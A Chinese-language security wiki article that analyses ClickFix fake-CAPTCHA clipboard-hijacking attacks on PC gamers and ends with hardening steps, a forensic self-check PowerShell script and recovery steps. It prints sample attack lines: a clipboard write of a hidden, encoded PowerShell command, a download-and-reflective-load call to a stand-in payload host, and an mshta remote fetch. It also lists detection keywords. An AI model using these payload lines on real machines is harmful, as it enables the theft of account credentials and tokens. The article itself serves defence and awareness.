广告位招商中 欢迎洽谈

ClickFix 欺诈分析:假冒人机验证、剪贴板劫持与游戏圈 PowerShell 攻击防御

365Finds Editorial
已收录 11,430 篇 Wiki 文章

让你的 AI 用上 365 Wiki

复制这段快捷提示词,粘贴到你正在使用的 AI 对话中,然后继续提问。AI 会搜索 365 Wiki,帮你查资料、比较方案并给出建议。

下载完整 Skill

偶尔使用,快捷提示词就够了。经常使用,安装 365Wiki Skill:无需每次复制,还能更完整地研究问题、比较选择并规划下一步。没有常用工具?Gemini、Microsoft Copilot 等网页版 AI 也能使用。

365Wiki Skill

引言:游戏圈“ClickFix”新型社交工程攻击的兴起

在现代 PC 游戏生态中,模组分发社区、着色器(Shaders)讨论区、破解补丁下载站以及游戏闪退修复论坛是恶意攻击者频繁活跃的高危地带。长久以来,针对游戏玩家的恶意软件主要依赖直接诱导下载伪装成修改器、辅助工具或汉化补丁的 .exe 或 .zip 压缩包。然而,现代主流浏览器(Chrome、Edge、Firefox)与操作系统部署了极为严密的防御机制:SmartScreen 文件声誉评分、沙箱下载隔离、防钓鱼遥测以及强制用户确认弹窗。

为了彻底绕过浏览器的所有安全审查,黑客团伙开发出了一种隐蔽性极强的社交工程攻击手段——ClickFix(亦被称为“假冒验证码”或“剪贴板粘贴运行”攻击)。ClickFix 不再强迫玩家从网页下载不可信的可执行文件,而是通过伪造的人机验证界面,诱导玩家主动打开 Windows 自带的 运行窗口(Win + R) 或 Windows Terminal,直接执行一段高度混淆的恶意 PowerShell 脚本。

由于该命令是由玩家在本地以自身管理员或普通用户权限主动调用的系统内置管理工具,整个过程不触发任何浏览器下载行为,下载文件夹中没有任何文件落地,从而彻底瓦解了基于文件的静态杀毒扫描与浏览器沙箱机制。本文将全面剖析 ClickFix 在游戏圈的攻击链路、内存无文件执行机理,并提供针对性的取证排查与系统加固方案。

ClickFix 攻击链路:从诱饵诱导到内存驻留

攻击者的实施链路环环相扣,精准利用了玩家急于获取模组或修复游戏报错的急迫心理:

[1. 玩家访问受污染的游戏资源页(例如:“黑神话悟空卡顿修复补丁”、“GTA6 泄露测试版”、“DLSS 3.5 模组”)]
                                |
                                v
[2. 页面弹出高仿人机验证浮层:“请确认您不是机器人”(伪造 Cloudflare Turnstile 或 Google reCAPTCHA 样式)]
                                |
                                v
[3. 浏览器 DOM 触发:JavaScript 调用 navigator.clipboard.writeText(...) 悄无声息将恶意指令写入系统剪贴板]
                                |
                                v
[4. 欺诈性交互引导:“请依次按下键盘上的 Win + R,然后按 Ctrl + V 粘贴,并按回车确认身份令牌”]
                                |
                                v
[5. 玩家在本地运行窗口回车:explorer.exe 调起 powershell.exe / cmd.exe 执行剪贴板中的恶意代码]
                                |
                                v
[6. 混淆 PowerShell 脚本运行:内存修补绕过 AMSI -> 下载二阶段载荷(Lumma / RedLine / Stealc 窃密木马)]
                                |
                                v
[7. 数据回传:静默盗取 Steam 登录凭据、Discord Token、浏览器 Cookies 并上传至黑客 Telegram 机器人或 C2]

第一阶段:精准的游戏诱饵

攻击者通过 SEO 毒化技术搭建了大量一次性欺诈网站,专门针对热门游戏的高频搜索关键词:

第二阶段:伪装的人机验证弹窗

当玩家点击下载按钮时,网页不会开始下载文件,而是弹出一个遮罩浮层,外观与官方的 Cloudflare Turnstile、hCaptcha 或 Google reCAPTCHA 毫无二致:

第三阶段:剪贴板静默劫持

在玩家阅读指引的同时,网页后台的 JavaScript 脚本已静默执行:

// 恶意网页利用用户点击行为静默写入剪贴板
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);

在现代 Chromium 浏览器内核中,只要 navigator.clipboard.writeText() 是在用户直接交互事件(如点击伪造的“验证”按钮)的回调中触发,浏览器就会直接允许写入,不会弹出任何系统级授权警告。玩家误以为自己只是点击了一个验证框,却不知自己的剪贴板已被填入了武器化的系统级指令。


核心技术解构:恶意 PowerShell 载荷的执行阶段

当受害者按下 Win + R 并粘贴回车后,系统 explorer.exe 派生出的 PowerShell 进程通常会依序执行以下四个攻击阶段:

1. 窗口隐藏与执行策略绕过

恶意脚本在入口处通过参数规避视觉察觉与默认限制:

  # 典型的 ClickFix 引导指令结构
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."

2. 内存级修补 AMSI(反恶意软件扫描接口)

在拉取真正的木马二进制文件之前,现代窃密木马必须先瘫痪 Windows Defender 的 AMSI 机制。AMSI 负责在脚本执行前于内存层面动态扫描代码行为。

攻击者针对 amsi.dll 实施内存热修补:

3. 二阶段载荷的无文件内存注入

AMSI 被致盲后,PowerShell 会通过网络库拉取真正的攻击载荷:

  # 内存级拉取与反射加载执行
  $data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
  [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);

载荷通过 .NET 反射机制 [System.Reflection.Assembly]::Load 直接在内存中解析并执行,或利用进程镂空(Process Hollowing)技术注入到系统合法进程(如 MSBuild.exe、RegSvcs.exe 或 svchost.exe)中运行,在整个感染过程中不向磁盘写入任何木马可执行文件。

4. 游戏资产与凭据全面洗劫

最终载荷(通常为 Lumma、Stealc 或 Vidar 等知名窃密木马)会定向搜索受害者电脑上的游戏资产:


ClickFix 威胁矩阵:诱饵类型与技术特征比对

攻击诱饵形式社交工程话术执行载体核心技术工件取证排查痕迹
假冒 Turnstile 人机验证“请完成人机验证以解锁模组下载链接”Win + R -> powershell.exe -w hidden -encAmsiScanBuffer 内存补丁 + IEX 远程拉取事件 ID 4104(脚本块日志);ConsoleHost_history.txt 留存 Base64 字符串
DirectX / 运行库修复向导“检测到缺少 d3dx9_43.dll,请在终端粘贴脚本自动修复”管理员 PowerShell 终端mshta.exe http://.../fix.hta 或直接脚本Sysmon 记录 mshta.exe 异常启动;外连非微软官方 IP 地址
Discord 测试资格激活“请在命令行输入您的独家内测验证 Token”cmd.exe /c start /b powershell ...Discord Webhook 回传脚本系统产生向 discord.com/api/webhooks/... 发送带附件的 HTTPS POST 请求
着色器编译缓存解包器“粘贴此指令以在后台快速解包预编译 Vulkan 缓存”普通 PowerShell 控制台混淆脚本向 %TEMP% 释放恶意 DLL 并注入HKCU\Software\Microsoft\Windows\CurrentVersion\Run 出现异常自启项

系统级纵深防御:加固 Windows 抵御 ClickFix 攻击

玩家和系统管理员可通过系统策略有效阻断 ClickFix 的执行链条:

1. 开启 PowerShell 脚本块日志(Event ID 4104)

默认情况下,Windows 不会完整记录交互式命令的具体内容。开启深度脚本块日志后,即使经过高度混淆或动态解密的脚本,其最终在内存中执行的原貌也会被记录在 Windows 事件查看器中:

2. 配置 PowerShell 约束语言模式(CLM)

约束语言模式(Constrained Language Mode)能够限制 PowerShell 的高级编程功能,禁止其调用任意 .NET 反射接口(如 [System.Reflection.Assembly])以及底层 Windows API,直接使 99% 的内存加载型木马失效:

3. 通过 WDAC 限制 mshta.exe 与老旧脚本宿主

部分攻击者利用 mshta.exe(HTML 应用程序宿主)直接执行远程 VBScript 或 JScript:


PowerShell 应急响应脚本:排查 ClickFix 感染痕迹

若怀疑自己曾经误粘贴执行过此类命令,请立即断开网络连接,并以只读方式运行以下 PowerShell 脚本进行取证自检:

  # ClickFix 威胁自检与取证排查脚本
  Write-Host "=== ClickFix 威胁自检与取证排查 ===" -ForegroundColor Cyan
  
  # 1. 审查 PowerShell 控制台历史记录
  $historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
  if (Test-Path $historyPath) {
      Write-Host "`n[1] 正在检查最近执行的 PowerShell 历史命令..." -ForegroundColor Yellow
      $suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
      $historyLines = Get-Content -Path $historyPath -Tail 50
      foreach ($line in $historyLines) {
          foreach ($pattern in $suspiciousPatterns) {
              if ($line -match $pattern) {
                  Write-Host "  [警告:发现可疑历史命令]: $line" -ForegroundColor Red
                  break
              }
          }
      }
  }
  
  # 2. 审查 Windows 运行窗口历史记录 (MRU)
  Write-Host "`n[2] 正在检查 Windows 运行窗口 (RunMRU) 注册表项..." -ForegroundColor Yellow
  $runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
  if (Test-Path $runMruPath) {
      $mruEntries = Get-ItemProperty -Path $runMruPath
      $mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
          if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
              Write-Host "  [高危:运行窗口存在可疑指令]: $($_.Name) = $($_.Value)" -ForegroundColor Red
          } else {
              Write-Host "  [正常条目]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
          }
      }
  }
  
  # 3. 检查当前用户自启动注册表项
  Write-Host "`n[3] 正在审查当前用户自启动驻留项..." -ForegroundColor Yellow
  $runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
  Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan

感染后的标准化止损与恢复协议

若排查确认已有恶意指令在本地执行,应按以下紧急流程开展处置:

  1. 立即物理断网:拔掉网线或断开 Wi-Fi 连接,切断恶意软件向 C2 服务器上传盗取凭据的数据通道。
  2. 在干净设备上紧急撤销全部登录会话:
    • 使用手机或另一台未受污染的电脑登录 Steam:进入 设置 -> 安全 -> 解除对所有其他设备的授权,强制注销已被黑客盗取的 steamLoginSecure 会话 Cookie。
    • 登录 Discord 修改密码:修改密码会使原有的所有用户 Token 立即失效。
    • 登录 Google、Epic Games、微软等核心账号,点击“从所有设备登出”并更新密码。
  3. 撤销 Steam Web API Key:在干净设备上访问 https://steamcommunity.com/dev/apikey。若发现存在未经许可注册的域名或 API Key,立即点击注销。
  4. 进行离线全盘查杀:使用 Windows Defender 离线版或制作可启动安全 U 盘对全盘引导区与临时目录进行深度扫描。
  5. 建立系统化网络工程安全素养:正规的验证码系统(如 Cloudflare 或 Google)完全运行在浏览器沙箱内部,任何以“人机验证”为名要求玩家按下 Win + R 或在命令行粘贴代码的场景,100% 均为恶意钓鱼攻击。持续借助如 365Finds 等专业知识库提升底层攻防认知,才能从容识别社交工程迷雾,确保个人游戏资产与隐私数据的长久安全。

参考文献